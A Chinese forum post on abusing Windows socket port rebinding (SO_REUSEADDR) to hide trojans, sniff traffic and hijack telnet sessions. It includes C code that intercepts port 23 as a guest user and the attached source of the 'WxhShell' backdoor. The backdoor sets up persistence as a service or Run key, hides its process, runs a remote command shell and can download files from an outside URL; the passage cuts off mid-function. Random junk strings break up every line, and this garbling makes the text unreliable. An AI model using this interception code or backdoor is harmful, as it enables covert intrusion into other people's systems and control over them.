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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: no6]{qn=6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mm<iT59  
X]"OW  
  saddr.sin_family = AF_INET; C*e[CP@u  
g*r;( H>e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nvVsO>2{ o  
'OW"*b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XPo'iI-  
G0Tc}_o<Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \1C!,C  
YPDsE&,J)  
  这意味着什么?意味着可以进行如下的攻击: N: jiZ)  
pbxcsA\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^GaPpm  
@<yc .>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nL 07^6(  
NZW)X[nXM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ixHZX<6zYT  
SH$cn,3F8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _m?(O/BTx  
L8xprHgL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `Mp7 })  
vek:/'sj3p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a;T[%'in  
TIWLp  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [P c[{(  
@:QdCG+  
  #include  53*, f  
  #include a:^ Gr%  
  #include c1AG3Nb  
  #include    z<vO#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q;0&idYC  
  int main() 9f%y)[ \  
  { O0(Q0Ko  
  WORD wVersionRequested; F@'rP++4  
  DWORD ret;  {%~4RZA  
  WSADATA wsaData; C 3XZD4.2  
  BOOL val; #Q7x:,f  
  SOCKADDR_IN saddr; "~2#!bK7  
  SOCKADDR_IN scaddr; 5~%,u2  
  int err; A1t~&?  
  SOCKET s; pvQK6r  
  SOCKET sc; >g"M.gW  
  int caddsize; ^8l3j4  
  HANDLE mt; 3?Eoj95w!  
  DWORD tid;   $gl<{{  
  wVersionRequested = MAKEWORD( 2, 2 ); $#ju?B~  
  err = WSAStartup( wVersionRequested, &wsaData ); SP?U@w%}  
  if ( err != 0 ) { chMc(.cN0  
  printf("error!WSAStartup failed!\n"); fDEu%fUYZ  
  return -1; }Wche/g`  
  } 3) c K*8#  
  saddr.sin_family = AF_INET; ) !}-\5F  
   MAD}Tv\S7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <RPoQ'.^  
b'oGt,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /`O]etr`d  
  saddr.sin_port = htons(23); m":SE?{{&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -S%q!%}u  
  { oTD-+MZn  
  printf("error!socket failed!\n"); SM /ykk  
  return -1; pz35trW  
  } LQ(5D_yG.  
  val = TRUE; 'uf\.F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q&Tn>B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H~dHVQtJZ  
  { Sa1z,EP  
  printf("error!setsockopt failed!\n"); *zVLy^L_8  
  return -1; >AzWM .r  
  } 7}cDGdr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D@\;@( |  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d1TdH s\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Jg|cvu-+  
mhi90Jc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pjHRV[`AP  
  { v]{uxlh  
  ret=GetLastError(); ZAX0n!db3  
  printf("error!bind failed!\n"); w0j/\XN 2s  
  return -1; yB4H3Q )  
  } T<f\*1~^  
  listen(s,2); Z 5)_B,E:X  
  while(1) ,c%K)KuPK.  
  { <ql w+RVt  
  caddsize = sizeof(scaddr); m&`(p f4A  
  //接受连接请求 4OOn,09  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <{cNgKd9  
  if(sc!=INVALID_SOCKET) JYg% ~tW'  
  { 7*>S;$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :`Uyn!w  
  if(mt==NULL) oO#xx)b  
  { mo;)0Vq2l  
  printf("Thread Creat Failed!\n"); p>:ef<.i  
  break; G=Hf&l  
  } t `Y!"l  
  } GT'7,+<?N  
  CloseHandle(mt); N=T.l*8  
  } 09 39i_  
  closesocket(s); hH1lgc  
  WSACleanup(); EzIs@}  
  return 0; 2T@L{ql  
  }   1O7]3&L@  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0Ws;|Yg  
  { :/v,r=Y9p  
  SOCKET ss = (SOCKET)lpParam; cZgMA8 F  
  SOCKET sc; n|x$vgb  
  unsigned char buf[4096]; 1 @%B?  
  SOCKADDR_IN saddr; UK6xkra?#  
  long num; ^IVe[P'  
  DWORD val; p"[O#*p  
  DWORD ret; kYxl1n v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rps(Jos_~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yOWOU`y?  
  saddr.sin_family = AF_INET; )_77>f%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WgA`kT  
  saddr.sin_port = htons(23); ^Ue0mC7m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H\fcY p6  
  { Sk/#J!T8{  
  printf("error!socket failed!\n"); (S  k#x  
  return -1; ]^:hyO K  
  } Re*|$r#  
  val = 100; ,\o<y|+`S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n$XdSh/   
  { y !<'rg  
  ret = GetLastError(); .!(,$'(@=  
  return -1; Z&FkLww  
  } x" 'KW (  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K DYYB6|  
  { {)V?R  
  ret = GetLastError(); >*dQqJI  
  return -1; kDzj%sm!  
  } *me,(C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xMD rE?  
  { *O@sh  
  printf("error!socket connect failed!\n"); 4E=0qbt8  
  closesocket(sc); \Z)#lF|^  
  closesocket(ss); 4!l sk:R  
  return -1; FUaI2  
  } +7Yu^&  
  while(1) hCzjC|EO~  
  { #(%t*"IY;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )n7|?@5U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |l|_dn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9W*.lf  
  num = recv(ss,buf,4096,0); V43nws "4  
  if(num>0) 3{<R5wUo"  
  send(sc,buf,num,0); E'5Ajtw;  
  else if(num==0) UvkJ?Bu  
  break; 1GtOA3,~;-  
  num = recv(sc,buf,4096,0); 07x=`7hs}  
  if(num>0) j$@?62)6  
  send(ss,buf,num,0); [@m[V1D  
  else if(num==0) ,>;!%Ui/p  
  break; %O#)Nq>mp  
  } HWqLcQ d:P  
  closesocket(ss); [tUv*jw%  
  closesocket(sc); AG]W O8f)  
  return 0 ; e:N7BZl'c9  
  } g b -Bxf  
wms1IV%;  
2~f6~\4GL+  
========================================================== a{h%DpG  
ZjqA30!  
下边附上一个代码,,WXhSHELL NuU'0_")/  
_u> t3RUA  
========================================================== f1A_`$>  
_N98vf0o  
#include "stdafx.h" Oqpp=7  
VS?dvZ1cC  
#include <stdio.h> <^xfcYx\  
#include <string.h> L 5+J ^  
#include <windows.h> B4Q79gEh=  
#include <winsock2.h> KiQ(XNx  
#include <winsvc.h> q"S(7xWS  
#include <urlmon.h> 9"~9hOEct  
(]2<?x*  
#pragma comment (lib, "Ws2_32.lib") )8;{nqoC  
#pragma comment (lib, "urlmon.lib") n ]w7Zj  
xw?CMA  
#define MAX_USER   100 // 最大客户端连接数 J"-_{)0lD  
#define BUF_SOCK   200 // sock buffer R1}IeeZO?&  
#define KEY_BUFF   255 // 输入 buffer sltk@  
Nz~(+pVWg5  
#define REBOOT     0   // 重启 OR]T`meO  
#define SHUTDOWN   1   // 关机 `h?LVD'l  
o,CBA;{P  
#define DEF_PORT   5000 // 监听端口 L?!$EPr  
*ksb?|<Ot  
#define REG_LEN     16   // 注册表键长度 &.zj5*J  
#define SVC_LEN     80   // NT服务名长度 Q:mZ" i5  
=yo{[&Jz  
// 从dll定义API VBM/x|'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J{d(1gSZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U R}kB&t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K"L_`.&Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4IZlUJ?j+c  
c<?[d!vI  
// wxhshell配置信息 6 *Zj]is  
struct WSCFG { ! ao6e  
  int ws_port;         // 监听端口 ~ FGe ~  
  char ws_passstr[REG_LEN]; // 口令 D}w<84qX  
  int ws_autoins;       // 安装标记, 1=yes 0=no n12UBvc}%  
  char ws_regname[REG_LEN]; // 注册表键名 a5a1'IVq  
  char ws_svcname[REG_LEN]; // 服务名 [B,'=,Hbs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }qAVN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L1wZU,o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P.c O6+jGR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H'EY)s Hi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZRnL_ z~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pYt/378w  
QQFf5^  
}; SG:bM7*1'  
e2c1pgs&+  
// default Wxhshell configuration {b1UX9y  
struct WSCFG wscfg={DEF_PORT, c` , 2h#  
    "xuhuanlingzhe", FI8k;4|V  
    1, n$4|P O$X  
    "Wxhshell", <c+K3P'3?  
    "Wxhshell", X8b|]Nr  
            "WxhShell Service", [SkKz>rC  
    "Wrsky Windows CmdShell Service", qgx?"$ Z  
    "Please Input Your Password: ", :6Pnie  
  1, =NZ[${7mq  
  "http://www.wrsky.com/wxhshell.exe", D<t~e$H  
  "Wxhshell.exe" SauH>  
    }; dv , C6t2  
?g3 ]~;#  
// 消息定义模块 fywvJ$HD]L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k9mi5Oc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (bv,02  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hL!QLiF:  
char *msg_ws_ext="\n\rExit."; zmiZ]uq  
char *msg_ws_end="\n\rQuit."; tiYOMA  
char *msg_ws_boot="\n\rReboot..."; vZu~LW@1  
char *msg_ws_poff="\n\rShutdown..."; -f?Ah  
char *msg_ws_down="\n\rSave to "; ^,TTwLy- t  
R-  
char *msg_ws_err="\n\rErr!"; =1Z;Ma<;  
char *msg_ws_ok="\n\rOK!"; WhFS2Jl0  
rA1q SG~c  
char ExeFile[MAX_PATH]; *P!s{i  
int nUser = 0; ]CX[7Q+'  
HANDLE handles[MAX_USER]; |CIC$2u  
int OsIsNt; f@@s1gdb  
y\'P3ihK  
SERVICE_STATUS       serviceStatus; \~#WY5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M4KWN'  
pZk6 w1d!  
// 函数声明 rC BfD  
int Install(void); ,PECYwegkt  
int Uninstall(void); 9JnY$e<&  
int DownloadFile(char *sURL, SOCKET wsh); ]Bnwk o  
int Boot(int flag); ,a0pAj  
void HideProc(void); ;Lo&}U3F,!  
int GetOsVer(void); HI`q1m.  
int Wxhshell(SOCKET wsl); dlDki.  
void TalkWithClient(void *cs); ufrqsv]=  
int CmdShell(SOCKET sock); Bu3T/m  
int StartFromService(void); KKEN'-3  
int StartWxhshell(LPSTR lpCmdLine); >o~Z>lr  
=P`~t<ajB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \:v$ZEDJ>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7NL% $Vf  
d-B7["z,  
// 数据结构和表定义 lw[e *q{s.  
SERVICE_TABLE_ENTRY DispatchTable[] = R-rCh.  
{ r?A|d.Tl  
{wscfg.ws_svcname, NTServiceMain}, G[h(xp?,l  
{NULL, NULL} :!Ig- +W  
}; l-Nly>~  
i ev>9j  
// 自我安装 Bs8[+Ft5  
int Install(void) g%a|q~)  
{ |0.Xl+7  
  char svExeFile[MAX_PATH]; r-IT(DzkD  
  HKEY key; s-*._;  
  strcpy(svExeFile,ExeFile); 4woO;Gm  
l! v!hUb+  
// 如果是win9x系统,修改注册表设为自启动 8K{[2O7i)  
if(!OsIsNt) { 1A<,TFg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q; ji w#_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~n?>[88"  
  RegCloseKey(key); (GcT(~Gq)D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zhblLBpeE\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SDYv(^ f ,  
  RegCloseKey(key); '91".c,3?  
  return 0; 7dOyxr"H-  
    } zt=0o| k  
  } %Dig)<yx  
} <>Y?v C  
else { &dR=?bz-A  
bAwl:l\`  
// 如果是NT以上系统,安装为系统服务 Q_p[k KH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?_g1*@pA  
if (schSCManager!=0) hhI)' $  
{ jrMe G.e=D  
  SC_HANDLE schService = CreateService :+rUBYWx  
  ( O+~ 7l?o  
  schSCManager, 'ZP)cI:+X  
  wscfg.ws_svcname, YB,t0%vTJw  
  wscfg.ws_svcdisp, Sw[{JB;y,  
  SERVICE_ALL_ACCESS, ,Hn^z<f   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p'94SXO_  
  SERVICE_AUTO_START, RA O`i>@  
  SERVICE_ERROR_NORMAL, &miexSNeF  
  svExeFile, [10zTU`  
  NULL, en*d/>OVJ  
  NULL, o0It82?RN  
  NULL, mXzrEI  
  NULL, %Ym^{N  
  NULL o<i,*y88  
  ); fc_2D|  
  if (schService!=0) z=7|{G  
  { fJAnKUF)  
  CloseServiceHandle(schService); \qh *E#j  
  CloseServiceHandle(schSCManager); ^aZAw%K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >~nF=   
  strcat(svExeFile,wscfg.ws_svcname); ^W?Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h 8e757z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w5=tlb  
  RegCloseKey(key); PVOx`<ng  
  return 0; 3)=c]@N0  
    } u3 0s_\  
  } 28.~iw  
  CloseServiceHandle(schSCManager); tBATZ0nK`Q  
} . T JEUK  
} ,u9M<B<F  
V5f9]D  
return 1; 3< Od0J  
} :4gLjzL  
bM,1f/^  
// 自我卸载 2";SJF'5\  
int Uninstall(void) Cq)IayD@  
{ Ro(Zmk\t  
  HKEY key; (la[KqqCO  
U_GgCI)  
if(!OsIsNt) { rQ`i8GF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l^MzN  
  RegDeleteValue(key,wscfg.ws_regname); . Dg*\ h  
  RegCloseKey(key); GB7/x*u   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hu3wdq  
  RegDeleteValue(key,wscfg.ws_regname); [U, ?R  
  RegCloseKey(key); p>vU?eF  
  return 0; mTNB88p8^D  
  } <^?1uzxH8A  
} @=j WHS  
} cTTW06^  
else { 2i{cQ96  
Iq7}   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vQ}6y  
if (schSCManager!=0) b75 $?_+  
{ ?p<.Fv8.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uw(NG.4  
  if (schService!=0) &fa5laJb  
  { yS(}:'`r  
  if(DeleteService(schService)!=0) { !~]<$WZV  
  CloseServiceHandle(schService); }Ew hj>w  
  CloseServiceHandle(schSCManager); j^tW Iz  
  return 0; 39wa|:I  
  } Vwk#qgnX  
  CloseServiceHandle(schService); %UUH"  
  } 9^FziM  
  CloseServiceHandle(schSCManager); 5irwz4.4  
} FGWN}&K  
} 94sk kEj  
CI U1R;  
return 1; tVrY3)c  
} 8K(Z0  
F!zP<A "  
// 从指定url下载文件 Q\ /uKQ  
int DownloadFile(char *sURL, SOCKET wsh) M-)R Q-h  
{ X$%4$  
  HRESULT hr; 2*"Fu:a"`I  
char seps[]= "/"; .MQ^(  
char *token; 0:0NXVYs&  
char *file; uiq^|5Z  
char myURL[MAX_PATH]; K~=UUB  
char myFILE[MAX_PATH]; WQ yLf;!Lz  
wNFz*|n  
strcpy(myURL,sURL); H{J'# 9H  
  token=strtok(myURL,seps); eW5SFY.  
  while(token!=NULL) Q+4tIrd+  
  { h$eEn l}  
    file=token; d8-A*W[  
  token=strtok(NULL,seps); FR2= las"z  
  } \^I>Q _LU  
q9w~A-Oh`1  
GetCurrentDirectory(MAX_PATH,myFILE); RrU BpqA  
strcat(myFILE, "\\"); bVP"(H]  
strcat(myFILE, file); rc&%m  
  send(wsh,myFILE,strlen(myFILE),0); _@S`5;4x  
send(wsh,"...",3,0); xGTP;NT_H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ljl^ GFo  
  if(hr==S_OK) niB `2 J  
return 0; ARcB'z\r  
else lL1k.& |5m  
return 1; pym!U@$t  
F}Vr:~  
} `Al;vVMRO  
ctE\ q  
// 系统电源模块 uqz]J$  
int Boot(int flag) D}8EERb  
{ g&/T*L  
  HANDLE hToken; aQ :5d3m0  
  TOKEN_PRIVILEGES tkp; y.KO :P?5{  
rZ8`sIWQt  
  if(OsIsNt) { ODZ|bN0>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W9NX=gE4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *CHI2MB  
    tkp.PrivilegeCount = 1; dy_:-2S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =zQN[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %p%%~ewmx  
if(flag==REBOOT) { q, O$ %-70  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g}@OUG"D  
  return 0; YPHS 1E?  
} LL:_L<  
else { %*BlWk!Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4apL4E"r  
  return 0; II6CHjW`;  
} x _c[B4Tw  
  } (5]}5W*  
  else { p]3?gK-  
if(flag==REBOOT) { oudxm[/U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [eTSZjIN7  
  return 0; m2AnXY\  
} 8WnwQ%;m?  
else { L3CP`cx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZP{*.]Qu  
  return 0; ~"A+G4jl  
} `OSN\"\ad  
} '],J$ge  
v:H$<~)E|  
return 1; |i++0BU  
} 6}r`/?"A1  
iLSr*` o  
// win9x进程隐藏模块 (o`{uj{!  
void HideProc(void) 6j ~#[  
{ 21"1NJzP  
F'0O2KQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t5 G9!Nn  
  if ( hKernel != NULL ) X&kp;W  
  { Kr)a2rZ}SL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l\i)$=d&g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;^Dpl'v%\  
    FreeLibrary(hKernel); gEjdN.  
  } =>-Rnc@  
Mo^ od<  
return; -B +4+&{T  
} zCk^B/j sM  
EN/,5<S<,[  
// 获取操作系统版本 M3.do^ss  
int GetOsVer(void) {.XEL  
{ YPxM<Gfa8  
  OSVERSIONINFO winfo; Yw- G'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ov, hI>0!D  
  GetVersionEx(&winfo); A}l3cP; `#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dkz=CY3p%X  
  return 1; q.;u?,|E/  
  else s7F.sg  
  return 0; 4t=G   
} LGn:c;  
}4,L%$@n  
// 客户端句柄模块 'dn]rV0(C  
int Wxhshell(SOCKET wsl) DMOMh#[  
{ kDsFR#w&`  
  SOCKET wsh; gw!vlwC&T  
  struct sockaddr_in client; FYpzQ6s~  
  DWORD myID; x7Yu I  
V-BiF>+  
  while(nUser<MAX_USER) m^zUmrj[  
{ +L;e^#>d  
  int nSize=sizeof(client); J\b^)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u ,KD4{!  
  if(wsh==INVALID_SOCKET) return 1; A*\.NTM  
z:wutqru  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :;9F>?VN>0  
if(handles[nUser]==0) r8RoE`/T  
  closesocket(wsh); DW[N|-L  
else Vh4X%b$TV  
  nUser++; rbWP78  
  } -Ps!LI{@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *_d7E   
#AJM6* G9  
  return 0; $| @ (  
} gDpVeBd[  
1ukTA@Rj&  
// 关闭 socket EFM5,gB.m  
void CloseIt(SOCKET wsh) YpVD2.jy  
{ T{-CkHf9Q  
closesocket(wsh); 5j?3a1l0  
nUser--; yd d7I&$  
ExitThread(0); \XZ/v*d0  
} ds<2I,t  
``hf=`We  
// 客户端请求句柄 ~x1$h#Cx'  
void TalkWithClient(void *cs) !2f[}.6+  
{ asppRL||  
8.O8No:'&  
  SOCKET wsh=(SOCKET)cs; I=`U7Bis"  
  char pwd[SVC_LEN]; V@g'#= {r  
  char cmd[KEY_BUFF]; )6Fok3u  
char chr[1]; uxr #QA  
int i,j; _ 9F9W{'  
o6.^*%kM'  
  while (nUser < MAX_USER) { :74y!  
u0 `S5?  
if(wscfg.ws_passstr) { T4Pgbop  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W')Yg5T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VY7[)  
  //ZeroMemory(pwd,KEY_BUFF); _l8 9  
      i=0; \!.B+7t=I  
  while(i<SVC_LEN) { UM"- nZ>[  
L0TFo_  
  // 设置超时 +nFu|qM}  
  fd_set FdRead; W{ q U  
  struct timeval TimeOut; !Wntd\w  
  FD_ZERO(&FdRead); n{ar gI8wF  
  FD_SET(wsh,&FdRead); -&zZtDd F  
  TimeOut.tv_sec=8; rlOAo`hd  
  TimeOut.tv_usec=0; t-tg-<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8p 'L#Q.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g}1B;zGf  
j8 ^Iz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 52Z2]T c ,  
  pwd=chr[0]; Yg||{  
  if(chr[0]==0xd || chr[0]==0xa) { Ga^"1TZ x  
  pwd=0;  iu=7O  
  break; , /Z%@-rF  
  } ;n*.W|Uph  
  i++; Yi%;|]  
    } KPKt^C  
kTOzSiq  
  // 如果是非法用户,关闭 socket lZ]ZDb?P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y51e%n$  
} :!WHFB o 8  
u}macKJmp\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z>k#n'm^z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^BikV  
*av<E  
while(1) { hj*pTuym  
%K=?@M9i  
  ZeroMemory(cmd,KEY_BUFF); <lPm1/8  
*v!9MU9[(  
      // 自动支持客户端 telnet标准   BYL)nCc  
  j=0; /T0F"e)Ci  
  while(j<KEY_BUFF) { 1Y\DJ@lh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) j#`r/  
  cmd[j]=chr[0]; PUMXOTu]  
  if(chr[0]==0xa || chr[0]==0xd) { 2lH&  
  cmd[j]=0; 3Ei#q+7  
  break; BLQ6A<  
  } {HltvO%8  
  j++; XpB_N{v9w  
    } 5H<m$K4z  
\kL 3.W_  
  // 下载文件 -P$PAg5"2  
  if(strstr(cmd,"http://")) { %rL.|q9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -A^_{4X  
  if(DownloadFile(cmd,wsh)) +SR+gE\s0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P^ ~yzI  
  else _7Ju  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4yy>jXDG  
  } dd%6t  
  else { /=nJRC3.  
}c,}V  
    switch(cmd[0]) { 24 'J  
  [.7d<oY  
  // 帮助 xX&+WR  
  case '?': { %HhnSi1K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [Gb. JO}X  
    break; \h/H#j ZJ  
  } i#n0U/  
  // 安装 y@S$^jk.  
  case 'i': { 3)<yod=  
    if(Install()) A4x]Qh3OO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t%0VJB,Q2  
    else yW=::=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {L{o]Ii?g  
    break; 1hY{k{+o  
    } HmGWht6R  
  // 卸载 o q Xg  
  case 'r': { {3mRq"e  
    if(Uninstall()) EHJ.T~X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( Y[Q,  
    else #jvtUS\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hR?{3d#x2  
    break; Mq156TL  
    } hn G Z=  
  // 显示 wxhshell 所在路径 e'NJnPO  
  case 'p': { ~w+c8c8pW  
    char svExeFile[MAX_PATH]; AlaW=leTe  
    strcpy(svExeFile,"\n\r"); cA?W7D  
      strcat(svExeFile,ExeFile); AofKw  
        send(wsh,svExeFile,strlen(svExeFile),0); SwGx?U  
    break; Mk 6(UXY  
    } Qz1E 2yJ  
  // 重启 pI\]6U  
  case 'b': {  ?(1 y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `g=J%p  
    if(Boot(REBOOT)) 6xx ?A>:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6P l<'3&  
    else { MAR'y8I  
    closesocket(wsh); Gx/Oi)&/  
    ExitThread(0); ,?%Zc$\LW  
    } b4 6~?*  
    break; `Y$4 H,8L  
    } *~e?TfG  
  // 关机 eF$x1|  
  case 'd': { & '`g#N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F v2-(  
